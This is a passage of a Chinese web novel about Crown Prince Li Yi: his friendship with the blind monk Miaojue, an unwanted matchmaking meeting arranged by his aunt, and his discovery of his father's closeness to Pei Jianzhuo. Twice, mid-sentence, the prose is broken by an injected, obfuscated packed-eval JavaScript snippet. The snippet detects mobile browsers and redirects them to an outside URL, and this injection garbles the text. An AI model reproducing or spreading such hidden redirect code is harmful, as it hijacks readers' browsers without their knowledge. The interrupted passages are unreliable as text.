李颐道:“既然你们都知道,怎么任由他生了满手?” 薛洽心想李颐也有点被皇帝宠坏了。 令狐纨是皇帝身边的人,他薛洽是东宫的人,东宫的人给皇帝身边的人送东西治伤,两边都讨不了好去,再说了,令狐家早就败落了,他巴巴凑上去干嘛? 伺候好面前这个祖宗才是正经。 李颐又道:“这个后娘做得更不对,后娘也是娘,继子也是子,怎么如此不慈?” 薛洽很奇怪地看了他一眼,脱口而出道:“后娘难做啊,您看岐国夫人……” 李颐挑眉:“岐国夫人怎么?” 怎么顺嘴说出来了! 薛洽恨不得抽自己两个嘴巴,骂自己是晚上没睡昏了头了。 岐国夫人,就是李颐的亲姨母,他的堂姑薛妙施啊! 岐国夫人身上正有一桩官司要断,他无论如何也不敢捅给李颐:“又不是所有女人都和岐国夫人一样贤惠。” 又赶紧转移李颐注意力:“殿下,您想,后娘要是个好东西,您怎么会没有呢?” 这话听得李颐醍醐灌顶。 是啊,如果后娘是个好东西,他一定会有的。 4. 云移雉尾开宫扇4 正月十六凌晨,上元节的狂欢还未褪尽,李颐兴奋不已,浴后躺在床上,脑海中一遍遍淌过昨夜在玉祥楼的光景,怎么都睡不着。 不一样,真是不一样。 没出阁以前,李颐也是在玉祥楼过的上元节,不过只能和皇亲内眷们坐在里面。出阁以后他又生病,今年是他头一年走到玉祥楼的露台上和百姓见面,原本被门隔了一层的喧闹欢呼扑面而来,灯轮照着所有人,眼睛都亮晶晶的。 宰相们歌功上表,说如今正逢盛世,仓禀中堆满粮食,连鹦鹉都懒得去啄,应当不是夸张。 他在那张特制的圆形架子床上连打三四个滚都翻不下去,又拿起磁针石晃床顶。 这张床还是他从前生病的时候,扬州大都督裴见濯给他弄的,圆床配着圆顶,圆顶上不知用什么手段,把碎银和金刚石封在里面,又加了磁铁,夜里发起光来,和星星一样,李颐要是躺在床上闷得慌,就举着磁针石乱晃,碎银和金刚石就会移动起来,仿佛是诸天星斗在银河运行。 李颐小时候够不到床顶,看腻了星图,还得踮着脚蹦高,或指使别人,才能改变天象;现在长大了,一个人举起胳膊就行。 他挥舞着磁针石,漫无目的晃了一阵,拼了个北斗星出来,眼见外头天光大亮,忽然想,这会儿已经是白天了,白天睡得多,晚上更加没法睡。 不如就不睡了! 那干点什么呢? “乐山!”李颐把磁针石随手扔在床上,叫了一声在旁边小床上睡着的内臣。 乐山和乐水是一对孪生兄弟,乐寿的养子,论年龄比李颐小一些,只有十四五岁,今日值夜的是乐山,和弟弟乐水相比,较为忠谨老实,欠一点活泼,李颐一叫,登时醒来:“殿下?” 李颐道:“给齐王世子的回礼,是不是还没有挑过?” “啊?是……” “那我来挑吧,去库里。” 李颐推开被子,乐山连忙给他裹了一件厚衣服,劝阻道:“给世子的回礼都有定例,殿下要增要减,说一声就是。” 李攸简对外说“礼单厚厚一沓”倒也没错。 从前,他和李攸简通信,是不止于节日问候的。而是一封一封,长篇累牍,李攸简会给他写厚厚一沓信,分享范阳生活,譬如和父亲出门打猎啦,和契丹王子学说契丹话啦,爬山、游野泳,拿雪给自己搓澡啦,都是李颐干不了的事,李颐和看传奇话本一样,为了叫这本子连载下去,每次都给李攸简送很多东西当润笔。 他们约定好了要见面一块玩耍,李攸简说会带来他们的老虎——我居然和他一块养了一只老虎?可李攸简言之凿凿,李颐只能按月付给老虎赡养费。 李颐去了洛阳,李攸简,一个冬天在雪堆里睡觉还能把雪热化的奇行种,竟然说自己冻伤寒了! 一直到李颐回永乐,他的病才好起来。 再那之后,信越来越短,倒后来活像点卯,李颐很难受了一阵,不过还好妙觉回来了,他的身体也有了起色。 也就,没有那么难受了。 但他再也没有给李攸简精心挑选过礼物了。 今天听薛洽说起来,李颐反躬自省,觉得自己也许是自己从前太小孩子气了。 范阳卢氏听说李攸简跟他认识就这么心虚,心里一定有鬼,也许李攸简得伤寒是他们虐待的…… 说不定李攸简来不成洛邑也是他们搞的鬼,不让李攸简告状。 要不要和爹爹说,把齐王一家召回? 一个无兵无权无人,远离朝廷多年的齐王,已经不可能再威胁到帝位。 范阳那地方…… 不管了,也许爹爹有自己的考量,他先给李攸简撑个腰吧。 “这个,这个,还有这个……” “这三个给吗?” “除了这三个,别的都给他吧。” “啊?!” 李颐裹了大衣服出门,在宝库中挑选。 他的宝库比皇帝的左藏库也不遑多让,金银俗物都不够格摆进来称为“宝”,而是扔到另一个仓里,李颐点兵点将地乱指一通,记得乐山头皮发麻。 “箱子里的那些狼皮是突厥贡来的吗?也给他。” “全部?” “嗯,摆着占位置,你们先分一些走,余下的再送过去好了。” “殿下,这要是所有的毛皮都给了世子,这份礼,可比陛下赐给齐王的还要重得多了。” 乐山才不羡慕李攸简能拿到这些毛皮。 李颐接触毛皮时不时会起疹子,以防万一,因此东宫所有人都不穿皮毛。拿去换钱他也看不上,李颐对他们向来很好。 只是,李颐“全部”的毛皮,光狼毛围脖就成百上千条,要全部打包给李攸简,太子的礼比皇帝还大,这不是逾矩吗? 李颐想了想:“这倒没什么关系,李攸简对外不是说他和我青梅竹马、相交莫逆、生死相许吗?我的礼厚些也无所谓。” 他脑子里压根没有逾矩这个弦!乐山悲哀地想。 等等,您什么时候和他青梅竹马、相交莫逆、生死相许啦? 乐山感觉自己还没睡醒,那边李颐又指了一大堆东西,像个送女儿出嫁的爹。 殿下,你要把东宫都搬空吗?! 乐山欲哭无泪,给守宝库的侍卫再三打眼色,让他去把乐寿请过来。 “这个蜜蜡珠串倒好,我从前在洛邑时看到平皇后有造佛窟石像,齐王妃是不是也信佛?那就……” “殿下,殿下!”乐寿神兵天降地赶来,连声阻止,“这串您不是说给法师留的吗?” 李颐皱眉:“有吗?” 乐寿振振有词:“是啊!大前年吐蕃使者来的时候您亲自开的口,他们找了好久才找到这样好的成色,吐蕃国师静命亲手开光,都在佛前供过了,您不是说要上元节……” 李颐想起来了。 这是吐蕃送他的新年贺礼,他原本留着上元节给妙觉的,结果妙觉临到头说不肯来,他亲自去慈云寺找,倒把这手串忘光了。 正愁没事情做,这会儿事情不就来了吗? 上元节有十四、十五、十六三天假,去一趟慈云寺再回来刚好是晚上,再温个书,早点睡觉,明天就继续上课了,先生讲得慢,他这会儿还没精学完尚书呢。 至于李攸简…… 李颐手一挥:“就这些先送给他吧,礼单字写得大一些。” 乐山也挺老实,不解道:“这是为什么?” 乐寿白了他一眼,示意他闭嘴,太子怎么说的就怎么做,哪来这么多问题? 那边李颐提起衣摆跃下台阶,有一种久违的快活与轻盈:“这样显得厚!” 乐山还是不明白。 再出去时,李颐的身影已经消失在门后了。 乐寿追上去:“殿下,多穿几件衣服再走——” 李颐不穿皮毛,又怕在外头冻着,去哪儿之前都把火龙暖炉提前点好,东宫连走廊上都全是挡风暖帘,堪称是四季如春。李颐日常不怎么到宫外活动,虽然和妙觉玩得好,大多数也是妙觉到东宫来,不知怎么着,连着两天去了慈云寺。 在慈云寺保温不太现实,乐寿提前派人在妙觉精舍里烧地龙,都要招那个苦修僧的白眼——他也没有青眼。 李颐刚起了疹子,为防他受寒发烧,乐寿想了一招,忙叮嘱了侍卫几句。 李颐到了慈云寺,还没等下车,只见旁边几个羽林卫“刷”一下张开锦帐,跟贝壳似的把他遮住,李颐走一步,几个羽林卫大张着锦帐,七手八脚横着挪一步,活似个大号螃蟹。 又是蚌又是蟹的,知道的是在慈云寺,不知道的还以为在海底龙宫呢。 李颐看着好笑,乐寿在旁,也十分得意自己的妥帖,昨天用药得当,李颐胳膊上的疹子都褪下一层,还好昨天没有上报皇帝,堪称将一场灾厄消弭于无形。 最近不能总让太子出门…… “殿……小郎!!!” 他还没想完,贝壳帐子里动了动,李颐一弯腰,从锦幛围挡间的缝隙钻出去了! 几个羽林卫愣在原地,乐寿气了个倒仰:“去追啊,别让他跌了!!!” 正月十六,新年余韵还在,加上昨夜燃灯供佛,慈云寺里人来人往,李颐冬天又只能穿夹袄,被乐寿裹得里三层外三层,活似个大白球,在人堆里挤不开,偏偏还怕撞人摔倒。 “阿叔,能让让我吗?” “娘子,让我过一下,谢谢娘子。” “阿翁——谢谢阿翁!” 苍老的声音道:“别往里跑走啦,那里头是高僧休息的地方!有看守的,你这孩子,唉……” 风帽压住眉毛,衣服领口护住半边脸,李颐只剩下一双眼睛露在外头。乐寿在后面看他跑得跌跌撞撞,因为套了三条裤子,腿都打不直,不瞬息就要被羽林卫追上,又急道:“别追啊,仔细他跌了!” 到底是追还是不追啊? 羽林卫还没弄明白,乐寿又发话了:“叫后面的守卫放人!” 李颐成功逃出包围。 他毫无障碍地跑入慈云寺后廷,梵音唱响,竹径之间小楼林立,比起人声嘈杂的前殿,这里闹中取静,十分幽谧,是不可多得的修行宝地。 李颐熟门熟路找到妙觉那一幢小楼,发现妙觉已经等在门口,双目紧闭,身上缁衣随风鼓起,形貌瑰伟,自有风韵清高之相。 “阿觉!” 小楼门口有一串台阶,李颐下意识对他招了招手,又想他看不见,干脆跑上去,结果因为裤子太沉,腿没抬起来,膝盖打不了弯,跑了几阶以后嗑住了脚,径直向前扑去。 “哎!”李颐眼看自己要摔倒,连忙向前张开双臂,抱住妙觉的腰,把他撞得连连后退,又从他怀里抬起头,“你站在外头,早知道我会来?” “嗯。”妙觉应了一声。 李颐忽然有点不自在,松开他的腰:“都怪长生,他给我穿了好几条裤子。” 妙觉说:“里面暖和。” 李颐推门入内,室内果然温暖如春,妙觉自幼修持,又正当年,冬天里穿单衣都使得,火炉也不点一个,若不是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328925|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李颐,怎么可能烧地龙。 他舍中的地龙烟道,还是为李颐铺的。 “其实压根不用烧,我也不冷。”李颐说,“怪不得你知道我来了。” 这地龙一定是乐寿提前找人烧的。 妙觉似笑非笑道:“穿这么多,是不冷。” 李颐一歪头,想妙觉怎么知道他穿得很多? 妙觉似乎知道他在想什么:“你的腰和肩变得一样宽了。” 那不成根柱子了吗? 李颐到了室内,穿这许多衣服反而要热出汗来,乐寿还没来,他自己给自己脱衣服,脱了一件还有一件,脱了衣服还有裤子,累得他一踢靴子,坐在蒲团上喘气:“上次和你说吐蕃那串……” 他坐下来才想起那串蜜蜡手珠应该是放在外衣里,那外衣又被他扔在不远处的地上,偏生蒲团又矮,他懒得起来,索性跪趴着往前探去够衣服,正够着,妙觉揽过他的腰,把他从地上捞起来。 有时候李颐也挺奇怪,妙觉看不见,手还挺准的。 他把李颐抱在怀里,摸索着解开李颐身上累赘的衣服,让他终于从一大堆衣服里解放出来,像只破茧而出的蝴蝶。 李颐丝毫不觉得这举动不对。 他们太熟悉了,小时候李颐病倒在床上,身体不能动,只能眨眼睛,李知微实在抽不开身的时候,就只有妙觉陪着他,他们一起在那张圆形大床上,李颐是妙觉的眼睛,妙觉是李颐的手,妙觉比他大七岁,高很多很多,一抬手,磁针石就引着碎铁在床顶晃动。 李颐指挥着他拼出了牵牛星。 迢迢牵牛星,皎皎河汉女。 有点像狼狈为奸的美化版本。 李颐从妙觉的怀里滑下来,伸出脚,把外袍勾过来,从袖中翻找出了蜜蜡珠,戴在妙觉手腕间。 似乎是蜜蜡珠太冷了,妙觉的手躲了躲。 李颐把珠子放在他鼻下嗅闻,妙觉分辨了一下,道:“冰片和麝香?” 李颐笑了:“你闻的是我的手,珠子在这。”他动了动手腕,把珠子凑得离妙觉更近些。 妙觉说:“你发疹了?” 李颐嗯了一声,见妙觉似乎对这珠子兴趣不大,便放在一旁案上:“都怪李攸简。” 说出这名字的时候,妙觉的睫毛动了动,眼皮下雪白的瞳仁若隐若现。李颐觉得他情绪不对,问道:“怎么了?” “没怎么,他不是在范阳吗——陛下决定召他家回京了?” “没有,是他送来的老虎挂件,我摸了摸就起疹子了。不过,回京的事,我倒有这个想法。”李颐有点奇怪,因为妙觉不太爱掺和俗世的事,尤其是政事,“你心跳得好快,地龙烧太热了吗?” 妙觉说:“不是,你和李攸简,你们从前是好朋友。” 李颐小时候生过好几场大病,只记得痛了,对李攸简三个字都没印象,后来查了查起居注,也就是在一起玩了几个月:“那都是十好几年前的事了,从前都是小孩子,就是他现在站在我面前,我想必也不认识了。” 妙觉说:“我记得他很活泼。” 是挺活泼的,不然李颐也不会这么爱看他的信,他淘气到就差爬上山摘月亮了。 察觉到李颐的笑,妙觉说:“也许他来永乐,你就不再寂寞了。” 李颐止住了笑,他望着妙觉,忽然觉得自己找李攸简,是背叛了和妙觉狼狈为奸的同盟,心中有些愧疚:“我有什么可寂寞的?他们家要是想回永乐,自己上书就是了。” 妙觉忽然道:“善思,对不起。” 李颐莫名其妙:“什么?” 顿了顿,妙觉说:“你昨天留在我这里的衣服,我洗的时候太用力,洗破了。” 李颐更奇怪了:“你洗它干什么?” 妙觉说:“我问别人,他们说那件衣服很漂亮。” 李颐昨天穿的是一件白袍,白袍常见,可称道的是衣上用金刚石和金线钉了百兔图,不仅暗合李颐的生肖,穿上时,衣上群兔会跟着身体晃动、光线不同排布出不同姿态,十分奇妙。 李颐笑道:“我今天这件衣服也挺漂亮的,你摸一摸。” 乐寿也算有心,考虑到他热了要脱衣服,每件衣服脱下来都能见人,如今李颐身上除了里衣外是一件绀色暗纹窄袖袍。 妙觉没有伸手:“那就好,毕竟,你还要去见窦二娘子。” 李颐皱眉:“窦二娘子?” 妙觉提醒:“窦家南房,华阳公主之孙,司卫少卿窦天成的二女儿。” 坏了! 他忘记姨母和他约在慈云寺见女孩子来着! 难道是今天? ……好像是今天! 他为了搪塞姨母,说自己只有十四、十五、十六三天有空,便说约了十六日,准备十六日那天找个借口遮掩过去。 结果他没睡觉,老觉得一天还没过去,今天还是十五。 恰逢此时,一道女音从门外传来,敲了敲门,大概是看见了守在外面的羽林卫,语气笃定:“善思?” 岐国夫人薛妙施。 5. 明眸皓齿今何在1 薛妙施是带着儿子一起来的。 大门开启后,她弯腰拍了拍八岁的儿子窦靖,手往前一摆,窦靖就向李颐跑过来,边跑边叫道:“太子阿兄!” 妙觉即刻起身:“我在后面等你。” 还没等李颐应,他便摸索着走了,窦靖坐在李颐身边,一脸好奇地看着这个闭着眼睛的僧人,又拉着李颐的袖子道:“阿兄,二姐姐在楼下屏风后头等着你呢。” 李颐其实不想见这位窦二娘子。 他受正统的东宫教育长大,知道自己的婚姻绝非儿戏,不该私下与女孩见面,尤其是这种人多眼杂的地方。 薛妙施如此安排,无非是知道父亲爱他,选妃前必问过他的意见,想让他先见见窦二娘子,占个先机罢了。 这样昭然若揭的心思,李颐仍不忍心拒绝。 他生下来就没有见过母亲,外祖母告诉他,母亲为了生他,把身上的血流干死了。 姨母是母亲唯一的妹妹。 李颐会很偶尔地注视薛妙施,还有她的孩子窦靖,想象那是三十多岁的母亲和自己。 有时候,他希望母亲能拥有姨母的命运。 姨母比母亲小五岁,正议婚时碰上父亲登基,因此命运天差地别,她自己在自己的婚事上有了自主权,亲自选择了窦家前途无量的窦天龄作为夫婿。夫妻俩相辅相成,李颐就学、十岁、病愈、出阁等大礼,必然推恩到薛妙施夫妇头上,如今,他们一个是平陵县公,另一个是岐国夫人,俱是荣耀。 春风得意,李颐望着向他走来的薛妙施。 薛妙施容貌秀丽,据说和他母亲很像,只是身量微矮,加上假髻高冠以后方与李颐等身。 她的手很温暖,烫在李颐身上:“善思,咱们走吧。” 唉。 李颐还是没有鼓起勇气拒绝她。 走出门的时候,李颐对乐寿打了个眼色,示意他赶紧清场,自己这边速战速决。 薛妙施没发觉,十分兴奋地和他介绍窦二娘子:“从前长宁公主在的时候,有一年中秋,她跟着殿下进过宫,你还记得吗?” 当然不记得了。 怎么大家都说跟他见过面,李攸简是,这个窦二娘子也是,可他小时候,除了父亲和妙觉,几乎没什么人来陪他。 不过,想起长宁公主,李颐回头往小楼看了一眼,妙觉当风站在凉台上,面朝向他,看起来孤单极了。 李颐不知为什么难过起来,含糊应了薛妙施两句,薛妙施以为他记得,很开心:“二姐生得极漂亮,性子又和顺,你们两个站在一起,定是一对璧人。” 李颐听她说了半路,走到竹林前,隐约看见一道彩绣锦幛,这是仕女出行遮面的标配,幛后便传来女人们的欢笑声。 竟然不止一个人。 他原本就不情愿,听到声响后更是止步,转头问表弟:“阿靖,今天是和谁一起来烧香的?” 窦靖派数道:“大婶婶、三婶婶和四婶婶,嗯,五姐姐、八姐姐,舅母,还有……” 李颐皱眉:“姨母这是什么意思?” 薛妙施见他不肯上前,强笑道:“她一个女儿家,哪有让我一个做婶婶的单独带出门的道理,若这样做,岂不更惹人猜疑?因此便借了全家烧香的名义,没和你说清楚,是我考虑不周,这样吧,我单独把她叫出来,你们到后头林子里走一走……” 恐怕林子里也能蹿出几个女眷,明天他私会窦二娘子的事整个永乐城都知道了! 李颐深吸一口气,停步。 薛妙施见他不走,心下焦急:“若没有那遭事,你早两年就该成婚,这会儿孩子都该有了……这几天,你外祖母总是梦见你娘,梦见了却又什么话都不讲,想她一定是心里有牵挂,看你没有成家,放心不下。便叫我来做了此事。” 李颐淡声道:“我的婚事自有爹爹定夺,娘若是不放心,托梦给爹爹吧。其实我不愿来,之前就该和姨母讲清楚,是我的不是。稍后我让乐寿送些东西给你,你给这位二娘子,权当劳动她一遭吧。” “我想陛下也是有这心思的。”薛妙施见他执意离开,急道,“二娘子的母亲,是裴见濯的堂妹!” 李颐问:“所以呢?” 所以,你娶了她,一定会让裴见濯对你死心塌地的!裴见濯是国朝第一重臣,又有从龙之功,打吐蕃、修河渠,名望不下宰相,若有他的支持…… 可李颐需要什么支持? 他从来就是皇位的唯一候选人。 “姨母不该这样。” 他把手抽出来。 薛妙施喊了他一声,他没应,走出竹林。 乐寿刚吩咐羽林卫便装把守,一转头,发现李颐已经出来了,两只手露在外头有点发红,显然是冻的,顿时天旋地转:“殿下,衣服!” 李颐才意识到自己衣衫单薄。 妙觉刚给他脱完,薛妙施带他走的时候太心急,忘记等他穿外头的厚衣服了。 如果母亲还在,她一定会让我穿好衣服再走的。 李颐被父亲丰沛地爱着,自然不会傻到向姨母去寻求那么一些零星的母爱,相反,他自信母亲爱着自己,无论在哪一个世界,因为母亲,他甚至不畏惧死亡。 父亲从小就告诉他,世界的这一边是父亲,另一边是母亲,他们只是在不同的两极爱着自己。 至于外祖父母、姨母、舅舅,他们是母亲在世界这一边的亲人,他应该和父亲一起把他们照顾好。在这一点上,李颐问心无愧。 “以我的名义送素斋给岐国夫人。”李颐一边走入小楼,一边吩咐,“我正和阿觉参禅,便不去拜访了。” 有心人一查,便知今天薛妙施和他同时出现在慈云寺,他作为外甥,又素来厚待母族,知道姨母在却不遣人探问,实在反常。要么就是与薛妙施闹矛盾,要么就是与薛妙施呆在一起。 所以,要制造不在场证据,只有一个办法。 派人去赐斋,制造他们同在慈云寺,却没有见面的假象。 乐寿闻言却顿住了,为难道:“殿下……” 李颐一挑眉。 小楼里什么都没动,衣服也没收过,妙觉听到响动,走了下来,站在李颐层层叠叠、宛如蛇蜕的衣服前。 “方才,宫中已经赐斋过来,给你和岐国夫人。”妙觉代乐寿回答道,“现在吃吗?” 宫中赐斋? 皇帝已经赐过,太子自然不必再赐。 所以,哪怕李颐今天去见了那个女孩子,忘记打掩护,忘记制造不在场证据,也不要紧。 父亲已经帮他遮掩过去了。 李颐心下百感交集,那一点被姨母算计的伤感也不翼而飞。 毕竟大多数时候,和他相依为命的只有父亲。 “现在吃吧?”李颐心情顿好,问妙觉。 妙觉应了一声,素斋摆上来。 李颐和妙觉经常凑在一起用饭,乐寿也知道妙觉不大方便,便先挟了一点菜盛在小碗里让妙觉吃,才去给李颐布菜。 李颐胃肠脆弱,不管吃不吃斋,食物总以清淡为主,原本吃鲈鱼一类还能尝出一些鲜甜,可惜如今冬日,万物潜藏,李知微又节俭,桌上多是一些容易保存的果蔬,久而无味,再加上李颐一夜没睡,兴奋劲过去,困劲涌上来,竟如嚼蜡一般,含菜在嘴里,半天也不咽下去。 乐寿不敢催促他,怕他呛着。倒是妙觉,许久没听见李颐的筷子声和咀嚼声以后,忽道:“窦二娘子,怎么样?” 妙觉一喊,李颐才发现自己口里的菜蔬已经成了一滩泥,连忙滑到喉咙里:“什么?”然后才反应过来:“我没见她。这种事,我尚能逃脱,她一个女儿家,太难为了。” 若是他和窦二娘子被“偶遇”,他尚且可以耍赖,她的闺誉又要如何? 多的李颐也不想讲,转移话题:“你怎么好奇这个,莫不是动了凡心尘念?”说起这个,他来了劲头,凑到妙觉身边依偎着,嘻嘻笑道:“好阿觉,不如还俗吧!” 这自然是朋友间闲嗑牙时候的玩笑话,妙觉头发长得快,有时候一个没注意就有寸长,李颐就曾摩挲着他头顶,叫他就此留发还俗。 妙觉从来不接他的茬,这会儿却道:“我从小就在慈云寺,连自己俗家父母、姓氏什么也不知道,本无来处,有何可还。” 李颐接得很快:“那就和我姓李好了。” 妙觉眼睛闭着,睫毛颤了颤,良久,吐了四个字出来:“那,当不起。” 李颐兀自不觉,低头吃饭,旁边乐寿正在布菜,听听话音觉得不对,悄悄望向妙觉。 他对妙觉,应当称得上是熟悉了。这位法师自小在慈云寺修行,受长宁公主抚养,和李颐一起长大,最受李颐亲近依赖,只要还俗,尘世富贵可谓唾手可得。 可长宁公主去世以后,他便到处游历,向天竺传经,往东瀛渡法,足用去五年光景,才回到永乐,如今事业是译盲文佛经。 从此人事迹上来看,应当是道心坚定。 可李颐“姓李”的玩笑话一出,他竟然面色一变,鼻翕牙咬,素来沉静慈悲的面上竟泛出一些…… 怨恨? 不过他是个瞎子。乐寿心想,寻常人知道喜怒哀乐是什么样子,怎么表达,但瞎子不知道,只能模拟表情,也不知道自己的表情是什么样的。 应该是巧合吧。 果然,下一秒,妙觉就神色如常:“我只是觉得她很合适。” 李颐不乐意了:“合适?” 妙觉说:“窦二娘子的母亲,是裴见濯的堂妹。” 怎么又是裴见濯? 妙觉又笃定道:“如果裴见濯有女儿,一定会是你的太子妃。” 李颐皱眉:“姨母让你来做说客的?她以为搬出裴见濯,我就会同意?裴见濯从小在扬州长大,这几年更是南南北北到处跑,什么堂妹表妹……论亲戚,我和裴见濯还是亲戚呢。” 裴见濯的兄长裴照元尚显宗皇帝的妹妹长宁公主,换而言之,裴见濯的兄长是李颐的姑父。 裴见濯本人因南北奔忙,三十郎当岁了还未成家,如果要成家,按辈分,多半也会娶李知微的亲妹妹,李颐的亲姑姑。 就算没有这些婚姻连接,裴见濯也和李颐关系匪浅。李颐记得自己小时候,父亲还没登基,裴见濯就往他家来,给他讲故事了。 用婚姻来拉拢裴见濯,这不是好笑吗?他还需要拉拢裴见濯吗?还是用一个裴见濯自己可能都没见过几面的妹妹——的女儿! 他自己在那边说得慷慨激昂,妙觉却忽然道:“你不开心吗,善思?” 本来还不觉得,妙觉一说,他发现自己好像是有点不开心的。 李颐放下筷子,神情沮丧。 从他记事起,大臣就在上书,请求皇帝立后了。 这倒不是大臣吃饱了饭没事干,国家需要女主人,皇后有一份独属自己的职责,远的不说,每年亲蚕礼就是皇后为天下妇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328926|199146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人垂范的象征。 连李颐都做好了自己会再有一个继母的准备。 可父亲拒绝了,甚至没有选妃,六宫悬置生灰,皇后的礼仪由公主及宗室中年长的妇人代替。没有嫔妃,自然也没有子嗣,李颐就一直是李知微的独子、爱子,地位稳如泰山,无可动摇。 他被父亲爱着,其实,这不正是父亲爱母亲的表征吗? 父亲不是生来就是皇帝、皇子,和母亲成婚的时候,他是一个偏远的宗室,在昭文院里勤学苦读等待功名降临。 父亲还是个学生的时候就能收获爱情,为什么他是太子了却没有?哪怕他今天见了窦二娘子又怎么样,隔着屏风晃荡几下身影,难道能酿成爱情? 他想起婚礼上必不可少的雁,只影哀鸣,哀鸣而死。 妙觉说太子妃是要合适的,父亲说,太子妃是要他喜欢的,可他喜欢的,又喜欢他的人在哪里呢? 妙觉说:“我带你出去散散心吧。” 好吧! 李颐又想笑了。 他还是个小少年,在李知微给他提供的温馨世界里,感伤像大夏天荷叶上的露水,一滑就消失无踪。 他揶揄妙觉道:“我从前求你和我一起出去,你都不肯,怎么,今天太阳从西边出来了?” 妙觉笑着摇头:“太阳从哪边升起、哪边落下,我怎么会知道?” “太阳是东边升起,西边落下。” “那我们去东市吧,东市有天竺商人开的书坊,我想看看有没有新书,好作通译。”他不仅安排好了自己,还安排好了李颐,看起来是蓄谋已久:“东市有一道雪夹儿,是用羊乳打发的热浆,不知用了什么,没有腥气,我领你去尝尝吧。” “好。” 李颐喝不了牛乳,羊乳倒还行。 “不过他们说,那是个小摊贩,只在外面有几张桌子,不知道可不可以?” 什么,没有屋顶,那不是落叶灰尘乃至于路人的唾沫都得往太子殿下的碗里跑吗?!乐寿大惊失色。 刚想阻止,那边李颐已经站起身来预备穿衣服出门,妙觉闭着眼睛,在架上给李颐找衣服,看得乐寿瞠目结舌。 他今天少说给李颐套了五件衣服,三条裤子,妙觉给李颐递的,从里到外竟然一点没错。 李颐又变成一个腰肩一样的球,牵着妙觉的手出门去。 在熟悉的环境里,譬如慈云寺,譬如重华宫,妙觉走路与常人无异,哪怕有人从他面前路过,也顶多觉得这人敢闭着眼睛走路,真是艺高人胆大。 但到了陌生的东市就不一样了。 正月十六,东市人流如潮,声音嘈杂,妙觉又不常来这个地方,哪怕有李颐领着,他还是十分惶恐不安,一只手被李颐牵着,一只手在旁边摸索前行,时而摸到别人的肩膀或者头巾,李颐和他只能轮番跟人道歉。 “摸来摸去的干什么?!”有人被妙觉碰到肩膀,破口大骂,“闭着眼睛走路找死啊?” 李颐转过眼去:“怎么说话——哎!” 妙觉被人一骂,竟直接撒开腿跑了! 他这么容易受惊,是怎么乘船到东瀛去的?! 李颐还没来得及细想,只能牢牢抓住妙觉的手,可他久病,妙觉又身体强健,李颐压根拉不住他,反而被他拽到了一个小巷子里。 再回头时,乐寿不见,羽林卫也跟丢了。 刚想说什么,他又发现妙觉满脸通红,透出一种羞耻,显然是觉得自己方才很丢脸。 李颐话锋一转:“这里人少,清静多了,咱们去找雪夹儿吧。” “嗯。” 妙觉冷静下来,和李颐十指相扣,攥得李颐有点疼:“你……冷不冷?” “不冷。” 方才人这么多,一人呼一口气,天地都沸起来了。 他和妙觉两个人在小巷子里一边摸索一边问,终于弄清了雪夹儿在哪里。 绕过里弄间最后一道墙,一个小小的摊位就在眼前,果如妙觉听说的那样,一切都是露天的,东市的风沙呼啦啦吹着店旗,寒冬腊月里,人还不少,店家为了展示自己的羊乳货真价实,还在门口栓了一只母羊。 李颐对活物向来敬谢不敏,找了个偏远的位置,先带妙觉坐下,刚准备起身去找店家时,与他相对的昏暗角落里,传来了熟悉的声音。 “这羊乳叫人带一份回去给善思吧,得多放点糖。” 李知微和裴见濯相对而坐,除了羊乳外,面前还各自放了一盘冰酥山,李知微盘里的酥山已经咬掉了山尖,裴见濯就把他手上那盘捧起来,凑到李知微面前,也被李知微一口咬掉山尖,山上淋着的果酱纷纷塌陷,挂在李知微嘴边。 “还是冰的好,我这几天总觉得心烧。”李知微说。 李颐愣在原地,看裴见濯弯起食指,在李知微唇边蹭了蹭。 这…… “怎么了?”妙觉的声音恰时出现,微仰着头,问,“善思?” 还好妙觉没有听到李知微的声音。 李颐僵僵道:“这里气味不好,我不太喜欢,走吧,去买书。” 他逃难似的把妙觉拽离小摊。 原来不是他需要笼络裴见濯。 而是裴见濯需要和他建立更深的联系。 薛洽的声音再次回荡开来—— 殿下,后娘要是个好东西,你会没有吗? 李颐想把他叫回来,诚恳问他一个问题。 那后爹呢? 6. 明眸皓齿今何在2 会不会是他听错了? 巷子里很暗,他没看清那两个人,的确声音轮廓很像,可大千世界无所不有,而且人家也只是叫了“善思”而已,民间很多人都信佛,用善思当乳名不奇怪。 也许只是撞名了。 …… 李颐,你真的不认识自己的父亲吗? 抓着妙觉的手,李颐走出小巷,乐寿终于带着羽林卫找到了他们,叠声焦急之间,李颐神情恍惚,怕被人看出来,强打着精神陪妙觉去买书。 妙觉看不见,买书就需要一个人为他念书名,在书坊颇是一道风景线,有人不断飞来视线,小声道:“真稀奇,这年头瞎子都出来买书看!” 乐寿见李颐没有清场的意思,一挥手,让羽林卫若有若无包围起来,隔绝他人视线。 妙觉倒没了方才在街上被人斥骂的慌乱与羞赧,神态自若,抚摸、嗅闻着书本,这种方法能让他找到一本书包装最好、字迹最清晰的版本。 他说人家帮他念书已经很累了,怎么能再让人家费眼睛呢?请人念完、译完以后他会把这些书放到慈云寺的经阁中任弟子借阅,也算是功德一件。 往常李颐都会陪着他,给他念书名,或书中一些节选的文字,为此李颐甚至学了一些梵文,但此刻他因为受到的打击太大呆呆站在边上,看妙觉在书柜间摩挲来去,面上笑意盈盈,露出了白森森的牙齿,显然极为喜悦。 